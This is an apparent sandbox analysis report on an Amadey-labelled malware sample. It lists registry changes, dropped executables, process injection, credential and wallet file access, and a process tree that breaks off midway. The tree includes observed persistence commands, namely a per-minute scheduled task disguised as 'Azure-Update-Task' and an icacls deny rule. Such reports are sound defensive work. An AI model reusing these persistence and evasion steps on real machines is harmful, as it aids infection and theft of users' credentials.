amadey | aae5cb60b24052ab0ec486373794bf41506bb790f8d5fc75a32183c695afb368

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	9C4.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	9C4.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	DAD.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	1FFF.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	nbveek.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	27C2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	25EC.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	Player3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	27C2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	DAD.exe

Executes dropped EXE 36 IoCs

pid	Process
3512	9C4.exe
2928	DAD.exe
1372	9C4.exe
1108	130D.exe
2620	1456.exe
3784	DAD.exe
556	schtasks.exe
3964	build3.exe
1476	1FFF.exe
3828	9C4.exe
3852	25EC.exe
1448	Player3.exe
3020	27C2.exe
2592	2969.exe
2304	ss31.exe
4204	Player3.exe
1780	nbveek.exe
4200	XandETC.exe
1040	DAD.exe
2852	27C2.exe
2800	27C2.exe
556	schtasks.exe
4388	27C2.exe
4664	build3.exe
2232	build2.exe
748	build2.exe
3964	build3.exe
1008	build2.exe
4400	build2.exe
3376	build3.exe
1536	build2.exe
1624	nbveek.exe
3300	mstsca.exe
2308	8EFA.exe
644	updater.exe
5056	nbveek.exe

Loads dropped DLL 11 IoCs

pid	Process
2232	build2.exe
2232	build2.exe
1008	build2.exe
1008	build2.exe
1536	build2.exe
1536	build2.exe
3992	rundll32.exe
3992	rundll32.exe
2308	rundll32.exe
3528	rundll32.exe
1144	rundll32.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4236	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3848-814-0x00007FF67E730000-0x00007FF67EF24000-memory.dmp	upx
behavioral2/memory/3848-822-0x00007FF67E730000-0x00007FF67EF24000-memory.dmp	upx

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\cbce8746-e5ac-4a13-be09-3212f05b1d0b\\9C4.exe\" --AutoStart"	9C4.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 8 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
59	api.2ip.ua
60	api.2ip.ua
70	api.2ip.ua
74	api.2ip.ua
32	api.2ip.ua
33	api.2ip.ua
43	api.2ip.ua
46	api.2ip.ua

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 11 IoCs

description	pid	Process	procid_target
PID 3512 set thread context of 1372	3512	9C4.exe	91
PID 2928 set thread context of 3784	2928	DAD.exe	97
PID 556 set thread context of 3828	556	schtasks.exe	103
PID 3964 set thread context of 1040	3964	build3.exe	110
PID 3020 set thread context of 2852	3020	27C2.exe	117
PID 2800 set thread context of 4388	2800	27C2.exe	128
PID 556 set thread context of 2232	556	schtasks.exe	132
PID 748 set thread context of 1008	748	build2.exe	137
PID 4400 set thread context of 1536	4400	build2.exe	142
PID 644 set thread context of 4684	644	updater.exe	211
PID 644 set thread context of 3848	644	updater.exe	217

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3336	sc.exe
4404	sc.exe
4484	sc.exe
208	sc.exe
4692	sc.exe
4280	sc.exe
2928	sc.exe
212	sc.exe
2076	sc.exe
3336	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 7 IoCs

pid	pid_target	Process	procid_target
2716	2620	WerFault.exe	94
4320	3852	WerFault.exe	104
4060	2232	WerFault.exe	132
4692	1008	WerFault.exe	137
4060	2308	WerFault.exe	151
3316	1536	WerFault.exe	142
1448	3528	WerFault.exe	185

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	130D.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	130D.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	130D.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	setup.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	setup.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	setup.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
4544	schtasks.exe
4180	schtasks.exe
1368	schtasks.exe
2004	schtasks.exe
556	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2156	setup.exe
2156	setup.exe
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE
3128	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3128	Explorer.EXE

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
672	Process not Found

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
2156	setup.exe
1108	130D.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeShutdownPrivilege	3128	Explorer.EXE
Token: SeCreatePagefilePrivilege	3128	Explorer.EXE
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeShutdownPrivilege	540	powercfg.exe
Token: SeCreatePagefilePrivilege	540	powercfg.exe
Token: SeDebugPrivilege	1756	powershell.exe
Token: SeShutdownPrivilege	2472	powercfg.exe
Token: SeCreatePagefilePrivilege	2472	powercfg.exe
Token: SeShutdownPrivilege	4356	powercfg.exe
Token: SeCreatePagefilePrivilege	4356	powercfg.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3128 wrote to memory of 3512	3128	Explorer.EXE	89
PID 3128 wrote to memory of 3512	3128	Explorer.EXE	89
PID 3128 wrote to memory of 3512	3128	Explorer.EXE	89
PID 3128 wrote to memory of 2928	3128	Explorer.EXE	90
PID 3128 wrote to memory of 2928	3128	Explorer.EXE	90
PID 3128 wrote to memory of 2928	3128	Explorer.EXE	90
PID 3512 wrote to memory of 1372	3512	9C4.exe	91
PID 3512 wrote to memory of 1372	3512	9C4.exe	91
PID 3512 wrote to memory of 1372	3512	9C4.exe	91
PID 3512 wrote to memory of 1372	3512	9C4.exe	91
PID 3512 wrote to memory of 1372	3512	9C4.exe	91
PID 3512 wrote to memory of 1372	3512	9C4.exe	91
PID 3512 wrote to memory of 1372	3512	9C4.exe	91
PID 3512 wrote to memory of 1372	3512	9C4.exe	91
PID 3512 wrote to memory of 1372	3512	9C4.exe	91
PID 3512 wrote to memory of 1372	3512	9C4.exe	91
PID 1372 wrote to memory of 4236	1372	9C4.exe	92
PID 1372 wrote to memory of 4236	1372	9C4.exe	92
PID 1372 wrote to memory of 4236	1372	9C4.exe	92
PID 3128 wrote to memory of 1108	3128	Explorer.EXE	93
PID 3128 wrote to memory of 1108	3128	Explorer.EXE	93
PID 3128 wrote to memory of 1108	3128	Explorer.EXE	93
PID 3128 wrote to memory of 2620	3128	Explorer.EXE	94
PID 3128 wrote to memory of 2620	3128	Explorer.EXE	94
PID 3128 wrote to memory of 2620	3128	Explorer.EXE	94
PID 1372 wrote to memory of 556	1372	9C4.exe	148
PID 1372 wrote to memory of 556	1372	9C4.exe	148
PID 1372 wrote to memory of 556	1372	9C4.exe	148
PID 2928 wrote to memory of 3784	2928	DAD.exe	97
PID 2928 wrote to memory of 3784	2928	DAD.exe	97
PID 2928 wrote to memory of 3784	2928	DAD.exe	97
PID 2928 wrote to memory of 3784	2928	DAD.exe	97
PID 2928 wrote to memory of 3784	2928	DAD.exe	97
PID 2928 wrote to memory of 3784	2928	DAD.exe	97
PID 2928 wrote to memory of 3784	2928	DAD.exe	97
PID 2928 wrote to memory of 3784	2928	DAD.exe	97
PID 2928 wrote to memory of 3784	2928	DAD.exe	97
PID 2928 wrote to memory of 3784	2928	DAD.exe	97
PID 3784 wrote to memory of 3964	3784	DAD.exe	136
PID 3784 wrote to memory of 3964	3784	DAD.exe	136
PID 3784 wrote to memory of 3964	3784	DAD.exe	136
PID 3128 wrote to memory of 1476	3128	Explorer.EXE	102
PID 3128 wrote to memory of 1476	3128	Explorer.EXE	102
PID 3128 wrote to memory of 1476	3128	Explorer.EXE	102
PID 556 wrote to memory of 3828	556	schtasks.exe	103
PID 556 wrote to memory of 3828	556	schtasks.exe	103
PID 556 wrote to memory of 3828	556	schtasks.exe	103
PID 556 wrote to memory of 3828	556	schtasks.exe	103
PID 556 wrote to memory of 3828	556	schtasks.exe	103
PID 556 wrote to memory of 3828	556	schtasks.exe	103
PID 556 wrote to memory of 3828	556	schtasks.exe	103
PID 556 wrote to memory of 3828	556	schtasks.exe	103
PID 556 wrote to memory of 3828	556	schtasks.exe	103
PID 556 wrote to memory of 3828	556	schtasks.exe	103
PID 3128 wrote to memory of 3852	3128	Explorer.EXE	104
PID 3128 wrote to memory of 3852	3128	Explorer.EXE	104
PID 3128 wrote to memory of 3852	3128	Explorer.EXE	104
PID 1476 wrote to memory of 1448	1476	1FFF.exe	119
PID 1476 wrote to memory of 1448	1476	1FFF.exe	119
PID 1476 wrote to memory of 1448	1476	1FFF.exe	119
PID 3128 wrote to memory of 3020	3128	Explorer.EXE	105
PID 3128 wrote to memory of 3020	3128	Explorer.EXE	105
PID 3128 wrote to memory of 3020	3128	Explorer.EXE	105
PID 3128 wrote to memory of 2592	3128	Explorer.EXE	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3128
- C:\Users\Admin\AppData\Local\Temp\setup.exe
  "C:\Users\Admin\AppData\Local\Temp\setup.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:2156
- C:\Users\Admin\AppData\Local\Temp\9C4.exe
  C:\Users\Admin\AppData\Local\Temp\9C4.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:3512
- - C:\Users\Admin\AppData\Local\Temp\9C4.exe
    C:\Users\Admin\AppData\Local\Temp\9C4.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:1372
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\cbce8746-e5ac-4a13-be09-3212f05b1d0b" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:4236
  - - C:\Users\Admin\AppData\Local\Temp\9C4.exe
      "C:\Users\Admin\AppData\Local\Temp\9C4.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:556
    - - C:\Users\Admin\AppData\Local\Temp\9C4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\9C4.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:3828
      - C:\Users\Admin\AppData\Local\562ef505-26d9-4fdc-9652-b44144588d76\build2.exe
        
        "C:\Users\Admin\AppData\Local\562ef505-26d9-4fdc-9652-b44144588d76\build2.exe"
        6⤵
        
        PID:556
        
        C:\Users\Admin\AppData\Local\562ef505-26d9-4fdc-9652-b44144588d76\build2.exe
        
        "C:\Users\Admin\AppData\Local\562ef505-26d9-4fdc-9652-b44144588d76\build2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:2232
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2232 -s 1876
        8⤵
        Program crash
        
        PID:4060
      - C:\Users\Admin\AppData\Local\562ef505-26d9-4fdc-9652-b44144588d76\build3.exe
        
        "C:\Users\Admin\AppData\Local\562ef505-26d9-4fdc-9652-b44144588d76\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:4664
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4180
- C:\Users\Admin\AppData\Local\Temp\DAD.exe
  C:\Users\Admin\AppData\Local\Temp\DAD.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2928
- - C:\Users\Admin\AppData\Local\Temp\DAD.exe
    C:\Users\Admin\AppData\Local\Temp\DAD.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3784
  - - C:\Users\Admin\AppData\Local\Temp\DAD.exe
      "C:\Users\Admin\AppData\Local\Temp\DAD.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:3964
    - - C:\Users\Admin\AppData\Local\Temp\DAD.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DAD.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:1040
      - C:\Users\Admin\AppData\Local\d4e48403-f837-48f5-a37b-07d0e452bb4e\build2.exe
        
        "C:\Users\Admin\AppData\Local\d4e48403-f837-48f5-a37b-07d0e452bb4e\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:748
        
        C:\Users\Admin\AppData\Local\d4e48403-f837-48f5-a37b-07d0e452bb4e\build2.exe
        
        "C:\Users\Admin\AppData\Local\d4e48403-f837-48f5-a37b-07d0e452bb4e\build2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:1008
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1008 -s 1708
        8⤵
        Program crash
        
        PID:4692
      - C:\Users\Admin\AppData\Local\d4e48403-f837-48f5-a37b-07d0e452bb4e\build3.exe
        
